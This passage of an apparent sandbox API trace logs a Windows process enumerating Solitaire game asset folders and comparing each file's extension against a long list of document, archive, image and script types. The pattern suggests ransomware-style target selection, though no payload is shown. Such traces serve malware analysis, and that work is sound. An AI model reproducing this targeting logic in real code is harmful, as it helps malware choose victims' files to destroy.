(lpString=".php3") returned 5 [0088.881] lstrcmpiW (lpString1=".php3", lpString2="_.png") returned -1 [0088.881] lstrlenW (lpString=".php4") returned 5 [0088.881] lstrcmpiW (lpString1=".php4", lpString2="_.png") returned -1 [0088.881] lstrlenW (lpString=".php5") returned 5 [0088.881] lstrcmpiW (lpString1=".php5", lpString2="_.png") returned -1 [0088.881] lstrlenW (lpString=".phtml") returned 6 [0088.881] lstrcmpiW (lpString1=".phtml", lpString2="t_.png") returned -1 [0088.881] lstrlenW (lpString=".pict") returned 5 [0088.881] lstrcmpiW (lpString1=".pict", lpString2="_.png") returned -1 [0088.881] lstrlenW (lpString=".pl") returned 3 [0088.881] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0088.881] lstrlenW (lpString=".pls") returned 4 [0088.881] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0088.881] lstrlenW (lpString=".pm") returned 3 [0088.881] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0088.881] lstrlenW (lpString=".png") returned 4 [0088.881] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0088.881] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34f97d43, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x34fbdfcb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x34fbdfcb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2_Piece_Silk_Suit_Unearned_small.png", cAlternateFileName="")) returned 1 [0088.881] lstrlenW (lpString="2_Piece_Silk_Suit_Unearned_small.png") returned 36 [0088.881] lstrlenW (lpString=".1cd") returned 4 [0088.881] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0088.881] lstrlenW (lpString=".3ds") returned 4 [0088.881] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0088.882] lstrlenW (lpString=".3fr") returned 4 [0088.882] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0088.882] lstrlenW (lpString=".3g2") returned 4 [0088.882] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0088.882] lstrlenW (lpString=".3gp") returned 4 [0088.882] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0088.882] lstrlenW (lpString=".7z") returned 3 [0088.882] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0088.882] lstrlenW (lpString=".accda") returned 6 [0088.882] lstrcmpiW (lpString1=".accda", lpString2="ll.png") returned -1 [0088.882] lstrlenW (lpString=".accdb") returned 6 [0088.882] lstrcmpiW (lpString1=".accdb", lpString2="ll.png") returned -1 [0088.882] lstrlenW (lpString=".accdc") returned 6 [0088.882] lstrcmpiW (lpString1=".accdc", lpString2="ll.png") returned -1 [0088.882] lstrlenW (lpString=".accde") returned 6 [0088.882] lstrcmpiW (lpString1=".accde", lpString2="ll.png") returned -1 [0088.882] lstrlenW (lpString=".accdt") returned 6 [0088.882] lstrcmpiW (lpString1=".accdt", lpString2="ll.png") returned -1 [0088.882] lstrlenW (lpString=".accdw") returned 6 [0088.882] lstrcmpiW (lpString1=".accdw", lpString2="ll.png") returned -1 [0088.882] lstrlenW (lpString=".adb") returned 4 [0088.882] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0088.882] lstrlenW (lpString=".adp") returned 4 [0088.882] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0088.882] lstrlenW (lpString=".ai") returned 3 [0088.882] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0088.882] lstrlenW (lpString=".ai3") returned 4 [0088.882] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0088.882] lstrlenW (lpString=".ai4") returned 4 [0088.882] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0088.882] lstrlenW (lpString=".ai5") returned 4 [0088.882] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0088.882] lstrlenW (lpString=".ai6") returned 4 [0088.882] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0088.882] lstrlenW (lpString=".ai7") returned 4 [0088.882] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0088.882] lstrlenW (lpString=".ai8") returned 4 [0088.882] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0088.883] lstrlenW (lpString=".anim") returned 5 [0088.883] lstrcmpiW (lpString1=".anim", lpString2="l.png") returned -1 [0088.883] lstrlenW (lpString=".arw") returned 4 [0088.883] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0088.884] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x350306db, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac95908b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x350c904a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tripeaks", cAlternateFileName="")) returned 1 [0088.885] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.885] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x350306db, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac95908b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x350c904a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tripeaks", cAlternateFileName="")) returned 0 [0088.885] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0088.885] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.886] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x350f002f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x350f002f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x350f002f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x0, cFileName="backgroundTile.png", cAlternateFileName="")) returned 1 [0088.889] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.889] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3513c50b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaca3dcfb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x35197d53, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FullScreen", cAlternateFileName="FULLSC~1")) returned 1 [0088.890] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.890] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35197d53, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaca840b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x351bdfd6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GiveUp", cAlternateFileName="")) returned 1 [0088.892] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.892] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x351bdfd6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacad2aaa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x35256944, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Solve", cAlternateFileName="")) returned 1 [0088.893] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.893] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3527cb9e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacc01122, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x352c9059, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TryAgain", cAlternateFileName="")) returned 1 [0088.895] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.895] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c9059, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacc863de, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x352f22cf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Undo", cAlternateFileName="")) returned 1 [0089.096] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.096] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c9059, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacc863de, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x352f22cf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Undo", cAlternateFileName="")) returned 0 [0089.096] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0089.096] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.096] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x352f22cf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x35317d60, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x35317d60, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x555a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cardsLoadingSequence.png", cAlternateFileName="")) returned 1 [0089.097] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.097] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35364241, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x35364241, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x35364241, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x188d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LargeFreecellTile.jpg", cAlternateFileName="")) returned 1 [0089.098] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.098] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x353fcbab, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacd9987b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x35495519, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Popup", cAlternateFileName="")) returned 1 [0089.100] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.100] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x354bb772, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3552de83, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3552de83, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SmallFreecellTile.jpg", cAlternateFileName="")) returned 1 [0089.100] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.100] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x355540e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacd9a8ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x355540e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tile", cAlternateFileName="")) returned 0 [0089.100] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0089.101] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.101] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35317d60, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3533dfe8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3533dfe8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xdcd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="daily_challenge.jpg", cAlternateFileName="")) returned 1 [0089.101] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.101] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x355c67f6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xace02661, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3576d4df, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fues", cAlternateFileName="")) returned 1 [0089.102] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.103] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35793738, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xace05649, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3582c0a2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameEnd", cAlternateFileName="")) returned 1 [0089.104] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.104] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35852300, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x35852300, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x35852300, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="gameEndBackground.html", cAlternateFileName="")) returned 1 [0089.106] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0089.106] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35878559, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xace07e04, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x35878559, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResPacks", cAlternateFileName="")) returned 0 [0089.106] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0089.106] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.106] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3589e7b7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3589e7b7, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3589e7b7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="guicommon.respack", cAlternateFileName="")) returned 1 [0089.106] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0089.106] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3589e7b7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xace091ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3589e7b7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResPacks", cAlternateFileName="")) returned 0 [0089.106] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0089.106] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.106] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358c4a10, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacf1abf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x35d3d0be, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Localization", cAlternateFileName="LOCALI~1")) returned 1 [0089.109] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.109] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35d3d0be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacf1b816, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x35dd5a2c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Particles", cAlternateFileName="PARTIC~1")) returned 1 [0089.109] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.109] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35dfbc86, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacf1c555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x35e21edf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pyramid", cAlternateFileName="")) returned 1 [0089.110] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35e21edf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacf1d153, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x35e21edf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResPacks", cAlternateFileName="")) returned 0 [0089.110] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0089.110] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35e48142, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacf1dfdd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x35e6e396, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Spider", cAlternateFileName="")) returned 1 [0089.110] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35e6e396, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x35e6e396, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x35e6e396, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="spiderassets.xml", cAlternateFileName="")) returned 1 [0089.110] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35e6e396, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacf1f832, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x35f2cf5e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Theme", cAlternateFileName="")) returned 1 [0089.110] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35f531bc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacf1fefc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x35fc58cc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TriPeaks", cAlternateFileName="")) returned 1 [0089.110] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0089.111] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35fc58cc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x35fc58cc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x35fc58cc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="tripeaksassets.xml", cAlternateFileName="")) returned 1 [0089.111] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.111] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35f531bc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacf1fefc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x35fc58cc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TriPeaks", cAlternateFileName="")) returned 0 [0089.111] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0089.111] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.113] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35febb26, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x35febb26, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x35febb26, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x661, dwReserved0=0x0, dwReserved1=0x0, cFileName="glow.png", cAlternateFileName="")) returned 1 [0089.115] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.115] FindNextFileW (in: hFindFile=0x582e08, 